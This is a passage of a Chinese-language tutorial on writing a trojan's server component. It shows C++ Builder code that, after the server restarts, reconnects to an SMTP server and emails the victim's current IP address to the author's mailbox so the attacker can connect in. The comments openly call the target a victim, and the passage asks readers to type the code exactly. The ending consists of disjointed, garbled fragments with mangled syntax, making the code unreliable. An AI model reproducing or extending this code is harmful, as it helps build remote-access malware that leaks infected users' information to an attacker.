上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
e(CR_LF,1,1,fp); file://写入换行 } fclose(fp); file://关闭文件 closedir(dir);
e://计数器加1 if(times_of_try100) { file://如果已试了100次了 Socket-SendText("Fail By Open File");